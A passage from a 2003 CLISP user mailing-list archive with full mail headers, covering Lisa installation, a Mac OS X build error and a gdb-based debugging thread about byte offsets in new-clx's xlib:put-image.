2.04 ( http://lisa.sf.net ) > and got an error: there is no package with name "MK" > > Where can I get the MK package. http://clocc.sf.net MK-DEFSYSTEM is in CLOCC/src/defsystem-3.x/defsystem.lisp compile it and load. -- Sam Steingold (http://www.podval.org/~sds) running w2k An elephant is a mouse with an operating system. From sds@gnu.org Mon Sep 29 08:36:49 2003 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 1A404v-0006v3-00 for ; Mon, 29 Sep 2003 08:36:49 -0700 Received: from [198.112.236.6] (helo=alphatech.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.22) id 1A404u-0002LJ-Ul for clisp-list@lists.sourceforge.net; Mon, 29 Sep 2003 08:36:49 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap-dock.alphatech.com [10.0.19.22]) by alphatech.com (8.11.6/8.11.6/check_local-4.4) with ESMTP id h8TFZRU25742 for ; Mon, 29 Sep 2003 11:35:27 -0400 (EDT) X-Spam-Filter: check_local@alphatech.com 4.4(020923:1754) http://digitalanswers.org/ To: clisp-list@lists.sourceforge.net References: <32251.1064768975@www61.gmx.net> Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <32251.1064768975@www61.gmx.net> Message-ID: Lines: 12 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Score: -2.5 (--) X-Spam-Report: -2.5/5.0 Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to https://sf.net/tracker/?func=add&group_id=1&atid=200001 IN_REP_TO (-0.5 points) Has a In-Reply-To header REFERENCES (-0.5 points) Has a valid-looking References header USER_AGENT_GNUS_UA (-0.5 points) User-Agent header indicates a non-spam MUA (Gnus) QUOTED_EMAIL_TEXT (-0.5 points) BODY: Contains what looks like a quoted email text REPLY_WITH_QUOTES (-0.5 points) Reply with quoted text Subject: [clisp-list] Re: problem with update_library in foreign.d Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Sep 29 08:39:17 2003 X-Original-Date: 29 Sep 2003 11:35:27 -0400 > * Roland Averkamp [2003-09-28 19:09:35 +0200]: > > I think there is a bug in the function update_library in defined in > file foreign.d: thanks, fixed in the CVS. -- Sam Steingold (http://www.podval.org/~sds) running w2k Lisp is a language for doing what you've been told is impossible. - Kent Pitman From sds@gnu.org Mon Sep 29 08:57:41 2003 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 1A40P6-000162-00 for ; Mon, 29 Sep 2003 08:57:40 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.22) id 1A40P6-0007e9-04 for clisp-list@lists.sourceforge.net; Mon, 29 Sep 2003 08:57:40 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap-dock.alphatech.com [10.0.19.22]) by alphatech.com (8.11.6/8.11.6/check_local-4.4) with ESMTP id h8TFi5U28048 for ; Mon, 29 Sep 2003 11:44:06 -0400 (EDT) X-Spam-Filter: check_local@alphatech.com 4.4(020923:1754) http://digitalanswers.org/ To: clisp-list@lists.sourceforge.net References: Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: Message-ID: Lines: 38 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Score: -1.5 (-) X-Spam-Report: -1.5/5.0 Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to https://sf.net/tracker/?func=add&group_id=1&atid=200001 IN_REP_TO (-0.5 points) Has a In-Reply-To header USER_AGENT_GNUS_UA (-0.5 points) User-Agent header indicates a non-spam MUA (Gnus) QUOTED_EMAIL_TEXT (-0.5 points) BODY: Contains what looks like a quoted email text Subject: [clisp-list] Re: Problems with new-clx xlib:put-image Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Sep 29 08:58:03 2003 X-Original-Date: 29 Sep 2003 11:44:05 -0400 > * Barry Fishman [2003-09-29 09:23:00 -0400]: > > Sam Steingold writes: > > >> * Barry Fishman [2003-09-25 11:13:22 -0400]: > >> Playing with the content of the bitmap file, it seems the data being > >> displayed starts 4 bytes offset into the ximage. > > The data is correct, just 4 bytes off from where TheSvector seems to > think it is. I don't know enough about CLISP internal structures to > know what is happening. TheSbvector()->data points to the start of the data in the simple-byte-vector, see lispbibl.d: typedef struct { LRECORD_HEADER /* self-pointer for GC, length in bits */ uint8 data[unspecified]; /* Bits, divided into bytes */ } sbvector_; typedef sbvector_ * Sbvector; data[-4] will grab the extra 32 bits from the header, on your platform (IIUC, play with CPP or gdb to check!), it will be the "uintL tfl" field (see VAROBJECT_HEADER). I think that the problem is not in PUT-IMAGE, but in the routines that load the image into the lisp object, specifically, in whatever routine creates the byte vector. could you please check what goes wrong there? thanks! -- Sam Steingold (http://www.podval.org/~sds) running w2k Oh Lord, give me the source code of the Universe and a good debugger! From phiho.hoang@rogers.com Mon Sep 29 18:28:25 2003 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 1A49JQ-0000SS-00 for ; Mon, 29 Sep 2003 18:28:24 -0700 Received: from web01-imail.bloor.is.net.cable.rogers.com ([66.185.86.75] helo=web01-imail.rogers.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.22) id 1A49JP-0000tI-P7 for clisp-list@lists.sourceforge.net; Mon, 29 Sep 2003 18:28:23 -0700 Received: from smallsqueak ([24.112.10.140]) by web01-imail.rogers.com (InterMail vM.5.01.05.12 201-253-122-126-112-20020820) with ESMTP id <20030930012721.BBR16691.web01-imail.rogers.com@smallsqueak>; Mon, 29 Sep 2003 21:27:21 -0400 From: "PhiHo Hoang" To: "'Hoehle, Joerg-Cyril'" , Subject: RE: [clisp-list] Installing Lisa for Clisp on WindowsXP: MK package Message-ID: <001f01c386f2$103da970$2300a8c0@smallsqueak> MIME-Version: 1.0 Content-Type: text/plain; charset="US-ASCII" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook, Build 10.0.4510 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1106 In-Reply-To: <9F8582E37B2EE5498E76392AEDDCD3FE06E5F880@G8PQD.blf01.telekom.de> Importance: Normal X-Authentication-Info: Submitted using SMTP AUTH LOGIN at web01-imail.rogers.com from [24.112.10.140] using ID at Mon, 29 Sep 2003 21:27:21 -0400 X-Spam-Score: -1.0 (-) X-Spam-Report: -1.0/5.0 Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to https://sf.net/tracker/?func=add&group_id=1&atid=200001 IN_REP_TO (-0.5 points) Has a In-Reply-To header QUOTED_EMAIL_TEXT (-0.5 points) BODY: Contains what looks like a quoted email text Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Sep 29 18:29:02 2003 X-Original-Date: Mon, 29 Sep 2003 21:27:47 -0400 Hi, > You can try to locate one version, or load Lisa's files by hand. > How can I load Lisa files by hand. Thanks for your help. PhiHo. > -----Original Message----- > From: Hoehle, Joerg-Cyril [mailto:Joerg-Cyril.Hoehle@t-systems.com] > Sent: Monday, September 29, 2003 3:40 AM > To: clisp-list@lists.sourceforge.net > Cc: phiho.hoang@rogers.com > Subject: [clisp-list] Installing Lisa for Clisp on WindowsXP: > MK package > > > > I am trying to install Lisa 2.04 ( http://lisa.sf.net ) > > and got an error: there is no package with name "MK" > > Probably Mark Kantrowitz' MK-DEFSYSTEM package. > It provides the defsystem macro, and load-system etc. functions. > > You can try to locate one version, or load Lisa's files by hand. > > I thought that these days people rather preferred the ASDF > defsystem utility. > > Regards, > Jorg Hohle. > From lisp-clisp-list@m.gmane.org Mon Sep 29 18:31:23 2003 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 1A49MJ-0000cI-00 for ; Mon, 29 Sep 2003 18:31:23 -0700 Received: from main.gmane.org ([80.91.224.249]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.22) id 1A49MI-0001RQ-BV for clisp-list@lists.sourceforge.net; Mon, 29 Sep 2003 18:31:22 -0700 Received: from list by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 1A49ME-0000JI-00 for ; Tue, 30 Sep 2003 03:31:18 +0200 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net Received: from sea.gmane.org ([80.91.224.252]) by main.gmane.org with esmtp (Exim 3.35 #1 (Debian)) id 1A49MD-0000JA-00 for ; Tue, 30 Sep 2003 03:31:17 +0200 Received: from news by sea.gmane.org with local (Exim 3.35 #1 (Debian)) id 1A49MD-00036Q-00 for ; Tue, 30 Sep 2003 03:31:17 +0200 From: "PhiHo Hoang" Lines: 17 Message-ID: References: X-Complaints-To: usenet@sea.gmane.org X-MSMail-Priority: Normal X-Newsreader: Microsoft Outlook Express 6.00.2800.1106 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1106 X-Spam-Score: -0.5 (/) X-Spam-Report: -0.5/5.0 Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to https://sf.net/tracker/?func=add&group_id=1&atid=200001 REFERENCES (-0.5 points) Has a valid-looking References header EMAIL_ATTRIBUTION (-0.5 points) BODY: Contains what looks like an email attribution PRIORITY_NO_NAME (0.5 points) Message has priority setting, but no X-Mailer Subject: [clisp-list] Re: Installing Lisa for Clisp on WindowsXP Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Sep 29 18:32:03 2003 X-Original-Date: Mon, 29 Sep 2003 21:31:15 -0400 Sam Steingold wrote: > > Where can I get the MK package. > > http://clocc.sf.net > > MK-DEFSYSTEM is in CLOCC/src/defsystem-3.x/defsystem.lisp > compile it and load. > Thanks, your help is very much appreciated. Cheers, PhiHo. From blugel@insightbb.com Tue Sep 30 15:24:48 2003 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 1A4SvH-0005yR-00 for ; Tue, 30 Sep 2003 15:24:48 -0700 Received: from sccmmhc02.asp.att.net ([204.127.203.184]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.22) id 1A4SvH-0001NL-5P for clisp-list@lists.sourceforge.net; Tue, 30 Sep 2003 15:24:47 -0700 Received: from insightbb.com (12-220-37-174.client.insightbb.com[12.220.37.174]) by sccmmhc02.asp.att.net (sccmmhc02) with SMTP id <20030930222412mm2008l415e>; Tue, 30 Sep 2003 22:24:12 +0000 Mime-Version: 1.0 (Apple Message framework v552) Content-Type: text/plain; charset=US-ASCII; format=flowed From: Ryan Mullen To: clisp-list@lists.sourceforge.net Content-Transfer-Encoding: 7bit Message-Id: X-Mailer: Apple Mail (2.552) X-Spam-Score: 0.0 (/) X-Spam-Report: 0.0/5.0 Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to https://sf.net/tracker/?func=add&group_id=1&atid=200001 USER_AGENT_APPLEMAIL (0.0 points) X-Mailer header indicates a non-spam MUA (Apple Mail) Subject: [clisp-list] =?ISO-8859-1?Q?Re:_Compiling_CLISP_on_MacOSX_=A0?= Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Sep 30 15:25:05 2003 X-Original-Date: Tue, 30 Sep 2003 17:24:12 -0500 I followed james anderson's info in his email on 8/26/03 on how to build CLISP but am still running into troubles. I cannot use the official 2.31 build but rather only daily snapshots for one. And then when I think I almost have it, I get this error: cd src ; aclocal --acdir=m4 --output=autoconf/aclocal.m4 cd src; autoconf --include=/Users/blugel/Ports/clisp-2003-09-30/src/autoconf autoconf: invalid option --include=/Users/blugel/Ports/clisp-2003-09-30/src/autoconf Try `autoconf --help' for more information. make[1]: *** [src/configure] Error 1 make: *** [../src/VERSION] Error 2 [~/Ports/clisp-2003-09-30/withDec2002gcc]$ I have tried what I can to figure this out but I just don't know enough. I am trying to get CLISP running for a class on programming languages I am taking. Any help on getting this finally installed would be greatly appreciated. Thanks ryan From sds@gnu.org Tue Sep 30 17:58:04 2003 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 1A4VJc-0004hv-00 for ; Tue, 30 Sep 2003 17:58:04 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.22) id 1A4VJb-0004Rn-PG for clisp-list@lists.sourceforge.net; Tue, 30 Sep 2003 17:58:03 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap-dock.alphatech.com [10.0.19.22]) by alphatech.com (8.11.6/8.11.6/check_local-4.4) with ESMTP id h910vWk19289 for ; Tue, 30 Sep 2003 20:57:33 -0400 (EDT) X-Spam-Filter: check_local@alphatech.com 4.4(020923:1754) http://digitalanswers.org/ To: clisp-list@lists.sourceforge.net References: Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: Message-ID: Lines: 29 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Score: -2.5 (--) X-Spam-Report: -2.5/5.0 Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to https://sf.net/tracker/?func=add&group_id=1&atid=200001 IN_REP_TO (-0.5 points) Has a In-Reply-To header REFERENCES (-0.5 points) Has a valid-looking References header USER_AGENT_GNUS_UA (-0.5 points) User-Agent header indicates a non-spam MUA (Gnus) QUOTED_EMAIL_TEXT (-0.5 points) BODY: Contains what looks like a quoted email text REPLY_WITH_QUOTES (-0.5 points) Reply with quoted text Subject: [clisp-list] Re: =?utf-8?b?Q29tcGlsaW5nIENMSVNQ?= =?utf-8?b?IG9uIE1hY09TWCDCoA==?= Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Sep 30 17:59:02 2003 X-Original-Date: 30 Sep 2003 20:57:32 -0400 > * Ryan Mullen [2003-09-30 17:24:12 -0500]: > > I followed james anderson's info in his email on 8/26/03 on how to build > CLISP but am still running into troubles. I cannot use the official > 2.31 build but rather only daily snapshots for one. And then when I > think I almost have it, I get this error: > > cd src ; aclocal --acdir=m4 --output=autoconf/aclocal.m4 > cd src; autoconf > --include=/Users/blugel/Ports/clisp-2003-09-30/src/autoconf > autoconf: invalid option > --include=/Users/blugel/Ports/clisp-2003-09-30/src/autoconf > Try `autoconf --help' for more information. you probably have an old autoconf version. > make[1]: *** [src/configure] Error 1 > make: *** [../src/VERSION] Error 2 > [~/Ports/clisp-2003-09-30/withDec2002gcc]$ $ touch src/configure -- Sam Steingold (http://www.podval.org/~sds) running w2k Only adults have difficulty with child-proof caps. From damcaljobs@yahoo.com Tue Sep 30 21:45:06 2003 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 1A4YrK-00028Q-00 for ; Tue, 30 Sep 2003 21:45:06 -0700 Received: from web41408.mail.yahoo.com ([66.218.93.74]) by sc8-sf-mx1.sourceforge.net with smtp (Exim 4.22) id 1A4YrI-0004h9-Gp for clisp-list@lists.sourceforge.net; Tue, 30 Sep 2003 21:45:04 -0700 Message-ID: <20031001044434.28480.qmail@web41408.mail.yahoo.com> Received: from [65.49.62.239] by web41408.mail.yahoo.com via HTTP; Tue, 30 Sep 2003 21:44:34 PDT From: calin damian To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Score: 0.0 (/) X-Spam-Report: 0.0/5.0 Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to https://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] ODBC Package for CLISP Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Sep 30 21:46:01 2003 X-Original-Date: Tue, 30 Sep 2003 21:44:34 -0700 (PDT) Hello I installed clisp-2.31 on a Win 2000 OS. I want to access a MSSQL DB Server and I would like to know what CLISP packages are available to do this (and where I can find them). With respect Calin __________________________________ Do you Yahoo!? The New Yahoo! Shopping - with improved product search http://shopping.yahoo.com From lisp-clisp-list@m.gmane.org Wed Oct 01 09:11:09 2003 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 1A4jZF-0001be-00 for ; Wed, 01 Oct 2003 09:11:09 -0700 Received: from main.gmane.org ([80.91.224.249]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.22) id 1A4jZE-00049h-7a for clisp-list@lists.sourceforge.net; Wed, 01 Oct 2003 09:11:08 -0700 Received: from list by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 1A4jZC-0006gL-00 for ; Wed, 01 Oct 2003 18:11:06 +0200 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net Received: from sea.gmane.org ([80.91.224.252]) by main.gmane.org with esmtp (Exim 3.35 #1 (Debian)) id 1A4jZB-0006gD-00 for ; Wed, 01 Oct 2003 18:11:05 +0200 Received: from news by sea.gmane.org with local (Exim 3.35 #1 (Debian)) id 1A4jZB-00078d-00 for ; Wed, 01 Oct 2003 18:11:05 +0200 From: Barry Fishman Lines: 66 Message-ID: References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Complaints-To: usenet@sea.gmane.org User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (gnu/linux) Cancel-Lock: sha1:fX10YxiuyprhbzwhVPz8MHiUvak= X-Spam-Score: -1.5 (-) X-Spam-Report: -1.5/5.0 Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to https://sf.net/tracker/?func=add&group_id=1&atid=200001 USER_AGENT_GNUS_UA (-0.5 points) User-Agent header indicates a non-spam MUA (Gnus) EMAIL_ATTRIBUTION (-0.5 points) BODY: Contains what looks like an email attribution QUOTED_EMAIL_TEXT (-0.5 points) BODY: Contains what looks like a quoted email text Subject: [clisp-list] Re: Problems with new-clx xlib:put-image Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Oct 1 09:12:05 2003 X-Original-Date: Wed, 01 Oct 2003 12:09:41 -0400 Sam Steingold writes: >> * Barry Fishman [2003-09-29 09:23:00 -0400]: >> The data is correct, just 4 bytes off from where TheSvector seems to >> think it is. I don't know enough about CLISP internal structures to >> know what is happening. > > TheSbvector()->data points to the start of the data in the > simple-byte-vector, see lispbibl.d: > > typedef struct { > LRECORD_HEADER /* self-pointer for GC, length in bits */ > uint8 data[unspecified]; /* Bits, divided into bytes */ > } sbvector_; > typedef sbvector_ * Sbvector; > > data[-4] will grab the extra 32 bits from the header, on your platform > (IIUC, play with CPP or gdb to check!), it will be the "uintL tfl" > field (see VAROBJECT_HEADER). > > I think that the problem is not in PUT-IMAGE, but in the routines that > load the image into the lisp object, specifically, in whatever routine > creates the byte vector. > > could you please check what goes wrong there? I don't quite understand the workings of CLISP's internal structure, but it seemed unlikely that a basic internal accessor like TheSbvector would be wrong without a lot more than PUT-IMAGE going wrong, and the code path through the PUT-IMAGE C function looks correct (to me). So I did look closer at the xlib:read-bitmap-file function that reads the bitmap file. The xlib:read-bitmap-file function, being entirely in lisp, is almost identical to the one as the standard CLX distribution. The code, is straight forward, and does seem to read my bitmaps into the lisp IMAGE-X structure correctly, although CLX's data structures are a bit different than the C XLIB way of doing things. If you look at my test program (in lisp), my DUMP-DATA function displays the bitmap in ascii stars correctly, from the raw data in the xlib::image-x structure. So from the lisp side, the xlib::image-x-data vector is correct. If you look at my patches clx.f, I use the C function dump_image(XImage) to dump the same raw data, filled into a local XImage structure, as an picture in ascii stars on stdout. When I offset -4 bytes from the TheSbvector(value1)->data pointer, I get the identical picture as the one displayed in the test program. Therefore, everything seems to point back to TheSbvector(value1)->data interface, or something else in the PUT-IMAGE function. Just one other comment. It seems that it might be simpler to make PUT-IMAGE a lisp function which does any required repacking of the image data (which isn't required for image-x structures) into a single more C like XImage structure, and send the result to a C interface function which just calls XCreateImage() and then XPutImage(). This may sometimes be a bit slower, but where speed is critical the user would be using Pixmaps and not XImages, and the lisp code would be a lot easier to maintain. Does this make sense? I am starting such a rework myself, and will probably soon find out. However, this still doesn't resolve what is going wrong in getting at the data pointer. -- Barry Fishman From sds@gnu.org Wed Oct 01 12:35:41 2003 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 1A4mlB-0003CA-00 for ; Wed, 01 Oct 2003 12:35:41 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.22) id 1A4ml9-0000Jl-NF for clisp-list@lists.sourceforge.net; Wed, 01 Oct 2003 12:35:40 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap-dock.alphatech.com [10.0.19.22]) by alphatech.com (8.11.7+Sun/8.11.6/check_local-4.4) with ESMTP id h91JKT128728 for ; Wed, 1 Oct 2003 15:20:29 -0400 (EDT) X-Spam-Filter: check_local@alphatech.com 4.4(020923:1754) http://digitalanswers.org/ To: clisp-list@lists.sourceforge.net References: Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: Message-ID: Lines: 117 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Score: -1.5 (-) X-Spam-Report: -1.5/5.0 Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to https://sf.net/tracker/?func=add&group_id=1&atid=200001 IN_REP_TO (-0.5 points) Has a In-Reply-To header USER_AGENT_GNUS_UA (-0.5 points) User-Agent header indicates a non-spam MUA (Gnus) QUOTED_EMAIL_TEXT (-0.5 points) BODY: Contains what looks like a quoted email text Subject: [clisp-list] Re: Problems with new-clx xlib:put-image Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Oct 1 12:36:07 2003 X-Original-Date: 01 Oct 2003 15:20:28 -0400 > * Barry Fishman [2003-10-01 12:09:41 -0400]: > > Sam Steingold writes: > > >> * Barry Fishman [2003-09-29 09:23:00 -0400]: > >> The data is correct, just 4 bytes off from where TheSvector seems to > >> think it is. I don't know enough about CLISP internal structures to > >> know what is happening. this is not what I observe: $ ./configure --with-module=clx/new-clx --with-debug --build build-g $ cd build-g $ gdb (gdb) full (gdb) set language c (gdb) break dump_image (gdb) run -B . -M full/lispinit.mem -q -norc ../../bugs/badcase.lisp ... (gdb) up (gdb) zout mv_space[0] ;; == value1 #(0 0 0 0 0 47 42 16 0 0 0 0 0 47 42 16 0 0 0 0 0 79 78 84 0 0 0 0 0 69 78 84 0 0 0 0 0 0 5 0 128 31 0 240 3 151 93 0 64 48 0 24 4 47 42 16 0 32 255 9 0 47 42 16 0 224 255 15 0 79 78 84 0 248 255 63 0 67 84 73 0 254 255 255 0 47 42 16 0 255 255 255 1 79 68 85 128 255 255 255 3 77 69 0 128 255 255 255 3 24 0 0 192 31 255 241 7 27 94 0 192 15 254 224 7 27 94 0 192 15 254 224 7 27 94 0 192 31 255 241 7 27 94 0 192 255 255 255 7 27 94 0 128 255 255 255 3 27 94 0 128 255 255 255 3 27 94 0 0 255 255 255 1 27 94 0 0 254 255 255 0 27 94 0 0 248 255 63 0 255 255 127 0 224 255 15 0 255 255 127 0 0 255 1 0 255 255 127 0 0 199 1 0 5 0 0 0 0 198 0 0 67 50 16 0 0 198 0 0 26 94 0 0 0 198 0 0 48 42 16 0 0 198 0 0 255 255 127 0 0 130 0 0 255 255 127 0 0 130 0 0 1 0 0 0 0 130 0 0 48 42 16 0 0 130 0 0 104 38 16 0 0 130 0 0 48 42 16 0 254 131 255 0 1 0 0 0 255 199 255 1 48 42 16 0 254 131 255 0 48 42 16 0 0 0 0 0 0 0 0 0 0 0 0 0 142 227 63 0 0 0 0 0 26 94 0 0 0 0 0 0 48 42 16 0 0 0 0 0 179 46 16) (gdb) zout STACK[-8] ;; == STACK_7 #S(XLIB:IMAGE-X :WIDTH 40 :HEIGHT 44 :DEPTH 1 :PLIST (:NAME :M-GRELB) :FORMAT :Z-PIXMAP :BYTES-PER-LINE 8 :BITS-PER-PIXEL 1 :BIT-LSB-FIRST-P T :BYTE-LSB-FIRST-P T :DATA #(0 0 0 0 0 47 42 16 0 0 0 0 0 47 42 16 0 0 0 0 0 79 78 84 0 0 0 0 0 69 78 84 0 0 0 0 0 0 5 0 128 31 0 240 3 151 93 0 64 48 0 24 4 47 42 16 0 32 255 9 0 47 42 16 0 224 255 15 0 79 78 84 0 248 255 63 0 67 84 73 0 254 255 255 0 47 42 16 0 255 255 255 1 79 68 85 128 255 255 255 3 77 69 0 128 255 255 255 3 24 0 0 192 31 255 241 7 27 94 0 192 15 254 224 7 27 94 0 192 15 254 224 7 27 94 0 192 31 255 241 7 27 94 0 192 255 255 255 7 27 94 0 128 255 255 255 3 27 94 0 128 255 255 255 3 27 94 0 0 255 255 255 1 27 94 0 0 254 255 255 0 27 94 0 0 248 255 63 0 255 255 127 0 224 255 15 0 255 255 127 0 0 255 1 0 255 255 127 0 0 199 1 0 5 0 0 0 0 198 0 0 67 50 16 0 0 198 0 0 26 94 0 0 0 198 0 0 48 42 16 0 0 198 0 0 255 255 127 0 0 130 0 0 255 255 127 0 0 130 0 0 1 0 0 0 0 130 0 0 48 42 16 0 0 130 0 0 104 38 16 0 0 130 0 0 48 42 16 0 254 131 255 0 1 0 0 0 255 199 255 1 48 42 16 0 254 131 255 0 48 42 16 0 0 0 0 0 0 0 0 0 0 0 0 0 142 227 63 0 0 0 